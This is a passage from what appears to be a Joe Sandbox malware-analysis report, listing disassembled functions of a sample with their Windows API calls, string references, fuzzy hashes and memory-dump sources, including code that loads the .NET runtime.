Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 1f410769ad7d24a70860011098d06d6ca35ded4aca2c839cfa339bb89b4e2759
Instruction ID: d3a7a299a8bae97992ab6d63a13964a8bacfe7ebf419c298562bbe63b7ffd96e
Opcode Fuzzy Hash: 1f410769ad7d24a70860011098d06d6ca35ded4aca2c839cfa339bb89b4e2759
Instruction Fuzzy Hash: AD11EC31A86725DBC7314B24DD40ADF37549F157A0B110226EA02A73B0FB34DD42C5DC

Function 00412C53 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00412C48,?,?,00412C10,?,?,?), ref: 00412C68
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00412C7B
FreeLibrary.KERNEL32(00000000,?,?,00412C48,?,?,00412C10,?,?,?), ref: 00412C9E

Strings

mscoree.dll, xrefs: 00412C61
CorExitProcess, xrefs: 00412C73

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9b25b2480156a898975ff9207fa4a0d1f543927fad6c89e789778ca8823a3494
Instruction ID: 35e70594de3343cec193ed4b3efddcf5e0eaadd2cf146d92627de2791e1443f6
Opcode Fuzzy Hash: 9b25b2480156a898975ff9207fa4a0d1f543927fad6c89e789778ca8823a3494
Instruction Fuzzy Hash: E4F08230602228FBDB219B50DE09BDEBB75EB00755F550069E505E11A0DFB88E51DAD8

Function 0041628C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00416295

Part of subcall function 00417051: HeapFree.KERNEL32(00000000,00000000,?,0041614E), ref: 00417067
Part of subcall function 00417051: GetLastError.KERNEL32(?,?,0041614E), ref: 00417079

_free.LIBCMT ref: 004162A8
_free.LIBCMT ref: 004162B9
_free.LIBCMT ref: 004162CA

Strings

TZ, xrefs: 004162C4

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: TZ
API String ID: 776569668-2456141640
Opcode ID: a9b7eeb1b825a360286587c7391533d25bf86073c3a630afaaf29fdc71c47209
Instruction ID: 17f29831d95d5ca339852fbac288bb35cd082703f5dfb087a9833422e99e2c0c
Opcode Fuzzy Hash: a9b7eeb1b825a360286587c7391533d25bf86073c3a630afaaf29fdc71c47209
Instruction Fuzzy Hash: F6E04FF0415235AA8B516F12BE439853F31BB09706711616BF41002231C7F641D2AF8C

Function 00413393 Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,004132C5), ref: 004133B5
GetFileInformationByHandle.KERNEL32(?,?), ref: 0041340F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004132C5,?,000000FF,00000000,00000000), ref: 0041349D
__dosmaperr.LIBCMT ref: 004134A4
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 004134E1

Part of subcall function 00413709: __dosmaperr.LIBCMT ref: 0041373E

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 9e75fcf97521c0e012578af4ab8d31cf15f6d097c0de31b8fbb2230b4899aa8c
Instruction ID: 7a5675e70778044766161b9b0ab71a1d10fa057a0dc66ff984ad03481d502888
Opcode Fuzzy Hash: 9e75fcf97521c0e012578af4ab8d31cf15f6d097c0de31b8fbb2230b4899aa8c
Instruction Fuzzy Hash: D1416075900204AFCB25DFA5DC459EFBBF9EF89305B04482EF956D3610EB389A81CB24

Function 0041D256 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041D26E

Part of subcall function 00417051: HeapFree.KERNEL32(00000000,00000000,?,0041614E), ref: 00417067
Part of subcall function 00417051: GetLastError.KERNEL32(?,?,0041614E), ref: 00417079

_free.LIBCMT ref: 0041D280
_free.LIBCMT ref: 0041D292
_free.LIBCMT ref: 0041D2A4
_free.LIBCMT ref: 0041D2B6

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f937f6d1b54b543fc24e0c382ca6138a2ca5fa36c124f1f114eabe275f8b2ac5
Instruction ID: 6d4f42ad6065432617f01940889ce0319a914ae83ddce40e5b72c6baea482f08
Opcode Fuzzy Hash: f937f6d1b54b543fc24e0c382ca6138a2ca5fa36c124f1f114eabe275f8b2ac5
Instruction Fuzzy Hash: 6CF06272908304AB8634FB65E4CAC8777E9EA09310354085FF01DD7650C738FCC18AAC

Function 7FE43663 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 49libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(mscoree.dll,00000000,02263E58,00000000,00033400,?,7FE43722,?), ref: 7FE43671

Part of subcall function 7FE434AF: GetProcAddress.KERNEL32(?,CorBindToRuntime), ref: 7FE434E6
Part of subcall function 7FE434AF: GetProcAddress.KERNEL32(?,GetCORVersion), ref: 7FE434F1
Part of subcall function 7FE434AF: GetProcAddress.KERNEL32(?,GetRequestedRuntimeInfo), ref: 7FE434FC
Part of subcall function 7FE434AF: wcscmp.NTDLL ref: 7FE43525
Part of subcall function 7FE434AF: wcscmp.NTDLL ref: 7FE43544

Strings

v2.0.50727, xrefs: 7FE4367D, 7FE43683, 7FE436A9, 7FE436C3
mscoree.dll, xrefs: 7FE4366A
v4.0.30319, xrefs: 7FE43689, 7FE4368F, 7FE436B6

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: AddressProc$wcscmp$LibraryLoad
String ID: mscoree.dll$v2.0.50727$v4.0.30319
API String ID: 3438369058-518887049
Opcode ID: 46fb0c6000660d2ecd93cfff72376eef47f50ecf2f9a5368e1c79332df3f6d6e
Instruction ID: d3d31f5be46057649fb9b99c077c88d5e31ad3076790e6f087b55fb3520f1749
Opcode Fuzzy Hash: 46fb0c6000660d2ecd93cfff72376eef47f50ecf2f9a5368e1c79332df3f6d6e
Instruction Fuzzy Hash: 26F0A972902325BFF71296657D41EFB75ACCB411D4F1021ADF901A2240D6B09E0076B5

Function 7FE31BC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,?,7FE319C5,00000000), ref: 7FE31BD6
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 7FE31BE2

Strings

kernel32.dll, xrefs: 7FE31BD1
IsWow64Process, xrefs: 7FE31BDC

Memory Dump Source

Source File: 00000000.00000003.1704847684.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7fe31000_S7AGd447vH.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsWow64Process$kernel32.dll
API String ID: 1646373207-3024904723
Opcode ID: fa89db43dd185a1453fcf4f790fbcd5a175520637a84c9a2fa416bbfb15f58e2
Instruction ID: 54fe31d5977995978b315a9fd433e02c4f518c0bef640df39cf22da13bcb4d8d
Opcode Fuzzy Hash: fa89db43dd185a1453fcf4f790fbcd5a175520637a84c9a2fa416bbfb15f58e2
Instruction Fuzzy Hash: E6E03039E0030AAFDB01CBA5CA0DF9DB6BDAF4526AB604159A805D6000E735D614EA10

Function 7FE43629 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(7FE436C9,CorBindToRuntime), ref: 7FE43635

Strings

CorBindToRuntime, xrefs: 7FE4362A
v2.0.50727, xrefs: 7FE43629
wks, xrefs: 7FE4364D

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: AddressProc
String ID: CorBindToRuntime$v2.0.50727$wks
API String ID: 190572456-3347351501
Opcode ID: 1c952edf47f5d967c480487307a17a198ad8a415b3d2b670942881798b77bc7c
Instruction ID: 0c5fc14341107e3be1e4a3b148c5bf2aaf3a514f9beb35c349b5f130446ce887
Opcode Fuzzy Hash: 1c952edf47f5d967c480487307a17a198ad8a415b3d2b670942881798b77bc7c
Instruction Fuzzy Hash: FCD02E32308323ABD6119E657C00FBABBA6AF402C0F00372DBE80EC124C341D035A38A

Function 7FE31064 Relevance: 6.5, APIs: 1, Strings: 3, Instructions: 456COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 7FE31086

Strings

, xrefs: 7FE3145A
combase.dll, xrefs: 7FE31307
$, xrefs: 7FE31186

Memory Dump Source

Source File: 00000000.00000003.1704847684.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7fe31000_S7AGd447vH.jbxd

Similarity

API ID: memset
String ID: $$$combase.dll
API String ID: 2221118986-1187780485
Opcode ID: a92cfde426eaf275d4cdb4ff5bbffa1fe7b5514eabfb562f5d1dbc9aa72339ae
Instruction ID: 073b19536da68552c2ef516f0e74b594634c8d8f7233081d7479257ca9af4b1c
Opcode Fuzzy Hash: a92cfde426eaf275d4cdb4ff5bbffa1fe7b5514eabfb562f5d1dbc9aa72339ae
Instruction Fuzzy Hash: D702F724C087C599DB168A78805D3EDBFF29F43228F9986CDC4D31BA97C27E6249D352

Function 7FE411B0 Relevance: 6.5, APIs: 1, Strings: 3, Instructions: 456COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 7FE411D2

Strings

$, xrefs: 7FE412D2
, xrefs: 7FE415A6
DbgUserBreakPoint, xrefs: 7FE41453

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: memset
String ID: $$$DbgUserBreakPoint
API String ID: 2221118986-3284380563
Opcode ID: f41bbd2ad5d204c1819bf145e7111d98b5bb1373749e436e17a0d8b8869e6680
Instruction ID: bbb4ff28fefea5246b1a415e85eba509f200322f977f728c9ce93df5bd6fac56
Opcode Fuzzy Hash: f41bbd2ad5d204c1819bf145e7111d98b5bb1373749e436e17a0d8b8869e6680
Instruction Fuzzy Hash: 8F02F3148097C499DF138A68A0503FDBFF25F43228F28A68DE4E34B6E7C27D6249D356

Function 004220AE Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0042217E
_free.LIBCMT ref: 004221A7
SetEndOfFile.KERNEL32(00000000,0041E595,00000000,0041E82C,?,?,?,?,?,?,?,0041E595,0041E82C,00000000), ref: 004221D9
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041E595,0041E82C,00000000,?,?,?,?,00000000), ref: 004221F5

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: f105e4f7330317cfd069ab92d2c1c7aad1e63d6a5496295be2fccd10389ca4c9
Instruction ID: 293562508d3b75ceed18384fa446975e2651337f910029f718001614b77a88c4
Opcode Fuzzy Hash: f105e4f7330317cfd069ab92d2c1c7aad1e63d6a5496295be2fccd10389ca4c9
Instruction Fuzzy Hash: 8A412832700611BBDB106FA9DD42FEE3775AF44324F54011BF628A72A1EABCC991876D

Function 0041B854 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 004130D7: _free.LIBCMT ref: 004130E5

Part of subcall function 0041C82B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,00421C20,?,00000000,00000000), ref: 0041C8CD

GetLastError.KERNEL32 ref: 0041B8BC
__dosmaperr.LIBCMT ref: 0041B8C3
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041B902
__dosmaperr.LIBCMT ref: 0041B909

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 2e3881f2e11957972756898f843b487a2f604e9d9679e774f7dbafeea38e4a0c
Instruction ID: 095d4c43ec0daf9afac1e08a9d3b20872156a4b645d275253ab2c1db03167179
Opcode Fuzzy Hash: 2e3881f2e11957972756898f843b487a2f604e9d9679e774f7dbafeea38e4a0c
Instruction Fuzzy Hash: D721D8B1600205AF9B207F66CC819EBB79CEF00378710452AFA2997351D738DDC197D4

Function 00417942 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00413055,?,?,?,?,00413CC2,?), ref: 00417947
_free.LIBCMT ref: 004179A4
_free.LIBCMT ref: 004179DA
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00413055,?,?,?,?,00413CC2,?), ref: 004179E5

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 15ae55d0fabae9737d6236069fb70904a2702244869e19290368a068439bb181
Instruction ID: f44886405bcd11b52bc5f5453c8bd595cdc0622e60251feab63c3b55ae40c742
Opcode Fuzzy Hash: 15ae55d0fabae9737d6236069fb70904a2702244869e19290368a068439bb181
Instruction Fuzzy Hash: 5D11C67221C2416AA71127765CC6DEB29798BC1378B25023BF128962E1EE3D8CDA412D

Function 00417A99 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00413C5C,00417077,?,?,0041614E), ref: 00417A9E
_free.LIBCMT ref: 00417AFB
_free.LIBCMT ref: 00417B31
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00413C5C,00417077,?,?,0041614E), ref: 00417B3C

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: c380182e142c2e1c87376308911ac707daa6a03f36107a6266d6d900337f9e4f
Instruction ID: 3ec2869ed4035905108020d6bb154c1a5af35f7ef893f3068d235d6d6968e62c
Opcode Fuzzy Hash: c380182e142c2e1c87376308911ac707daa6a03f36107a6266d6d900337f9e4f
Instruction Fuzzy Hash: FC11C63120C6017A971167769CC6DEF29B98BC13B8725023BF128861E1EE2D9CD6412C

Function 004181F5 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,004182F1,00000000,?,0041EBE0,00000000,00000000,004182F1,?,?,00000000,00000000,00000001), ref: 0041820B
GetLastError.KERNEL32(?,0041EBE0,00000000,00000000,004182F1,?,?,00000000,00000000,00000001,00000000,00000000,?,004182F1,00000000,00000104), ref: 00418215
__dosmaperr.LIBCMT ref: 0041821C

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 4e38e9137bc5694164b1a41a536ff43004c579aa846234ace767dc9fd853d331
Instruction ID: aac1492a34aeb4a7712834e58cbac2e5695d98ccf746a4b9b3de964524158273
Opcode Fuzzy Hash: 4e38e9137bc5694164b1a41a536ff43004c579aa846234ace767dc9fd853d331
Instruction Fuzzy Hash: A3F06232600515BB8B215FA2DC089DBFF69FF443A0314856AF518D7110DF35D8A2D7D4

Function 0041818C Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,004182F1,00000000,?,0041EC55,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 004181A2
GetLastError.KERNEL32(?,0041EC55,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,004182F1,00000000,00000104,?), ref: 004181AC
__dosmaperr.LIBCMT ref: 004181B3

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 279edd8d4ece87b1d3a8637269c62e89e05bb7f154ad503b0c6df0af7cc3e302
Instruction ID: cbaf03c252dadb21657f22ac35acf13070849d1c927eb08493f9538ca41eeb8d
Opcode Fuzzy Hash: 279edd8d4ece87b1d3a8637269c62e89e05bb7f154ad503b0c6df0af7cc3e302
Instruction Fuzzy Hash: F4F04B32700115BB8A211BA2CC0889BFFA9FF453A0300852AF91D96520DF35E9A297D8

Function 004225D5 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00403FD0,00000000,0042F8A8,00000000,00403FD0,?,0041FA1F,00403FD0,00000001,00403FD0,00403FD0,?,0041927C,00000000,?,00403FD0), ref: 004225EC
GetLastError.KERNEL32(?,0041FA1F,00403FD0,00000001,00403FD0,00403FD0,?,0041927C,00000000,?,00403FD0,00000000,00403FD0,?,004197D0,00403FD0), ref: 004225F8

Part of subcall function 004225BE: CloseHandle.KERNEL32(FFFFFFFE,00422608,?,0041FA1F,00403FD0,00000001,00403FD0,00403FD0,?,0041927C,00000000,?,00403FD0,00000000,00403FD0), ref: 004225CE

___initconout.LIBCMT ref: 00422608

Part of subcall function 00422580: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,004225AF,0041FA0C,00403FD0,?,0041927C,00000000,?,00403FD0,00000000), ref: 00422593

WriteConsoleW.KERNEL32(00403FD0,00000000,0042F8A8,00000000,?,0041FA1F,00403FD0,00000001,00403FD0,00403FD0,?,0041927C,00000000,?,00403FD0,00000000), ref: 0042261D

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 55b695b80b4adcc94f6d78668d328e8ccb605adb0f24a91616ec9c01678fe125
Instruction ID: 269b5ab5e027013f0b97368f70e56529989ea90365c6b82d1693adf48919afa4
Opcode Fuzzy Hash: 55b695b80b4adcc94f6d78668d328e8ccb605adb0f24a91616ec9c01678fe125
Instruction Fuzzy Hash: 78F03036601124BBCF321FA1EC14E8E3F26FF087A4F854529FB1895130CA768860DB98

Function 00402750 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

<, xrefs: 0040284C
PDu, xrefs: 0040287C

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID: <$PDu
API String ID: 0-475385775
Opcode ID: 12c6dc6ae46c2f0de1b8412df752af01c1dba0508c250d1472588638f7586fef
Instruction ID: 9945669b60b7c6661290a091ce000a38be6731a15c1dc6d6bc78aa5e9493bb7a
Opcode Fuzzy Hash: 12c6dc6ae46c2f0de1b8412df752af01c1dba0508c250d1472588638f7586fef
Instruction Fuzzy Hash: 9D5178716143049BDB18AF38CA4979E7BE1AF89308F50562EFC45672C1CBB9C5848BCA

Function 0041C3B5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 0041C15E: GetOEMCP.KERNEL32(00000000,0041C3D0,?,?,00413CC2,00413CC2,?), ref: 0041C189

_free.LIBCMT ref: 0041C42D

Strings

P1Z, xrefs: 0041C4C4

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: _free
String ID: P1Z
API String ID: 269201875-3726526714
Opcode ID: 254bf34c1be40f8779cd65d4814556e2b5b549f5670f27e9a3ac313cb2698e8b
Instruction ID: 401053c1d18ecf400929803d4b8928ce90f3dcbf94a49c828f1befedf9997fa1
Opcode Fuzzy Hash: 254bf34c1be40f8779cd65d4814556e2b5b549f5670f27e9a3ac313cb2698e8b
Instruction Fuzzy Hash: 1731E132904209AFDB11DFA9DC81AEB7BF4EF44318F10406AF810972A1EB39DD80CB58

Function 00419B65 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00419BDB

Strings

\.C, xrefs: 00419B95
`.C, xrefs: 00419BA7

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: _free
String ID: \.C$`.C
API String ID: 269201875-3636064301
Opcode ID: 229bc69ea90fbf934cba984787b794dcaaf35498c44fb19e8a3722b176cf72a0
Instruction ID: 23df0ea54c82c44fe95a6217dd9d1d59ab36573812ef85ea252388b0da85f7ac
Opcode Fuzzy Hash: 229bc69ea90fbf934cba984787b794dcaaf35498c44fb19e8a3722b176cf72a0
Instruction Fuzzy Hash: B011B1715083029ED7209F2AE891BD3B7E4BB15758F20802FF58A87281E779ECC1879C

Function 7FE43586 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(7FE436AF,CLRCreateInstance), ref: 7FE4359C

Strings

CLRCreateInstance, xrefs: 7FE4358C
v4.0.30319, xrefs: 7FE4358B

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: AddressProc
String ID: CLRCreateInstance$v4.0.30319
API String ID: 190572456-303888047
Opcode ID: ee11bf2f7cd5b6165e65e907bb3e342fbf2494dd9a6e8d7db98cfb98964fecc3
Instruction ID: 4049353a07a8ef2bd98e8e00e1d987354befd7e798cdf1343371d813bbfb0654
Opcode Fuzzy Hash: ee11bf2f7cd5b6165e65e907bb3e342fbf2494dd9a6e8d7db98cfb98964fecc3
Instruction Fuzzy Hash: 3F215E70B04246EFEB10CF95E945FBE7BB9EF84255B10529CB806EB210D771EA11EB20

Function 004111F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

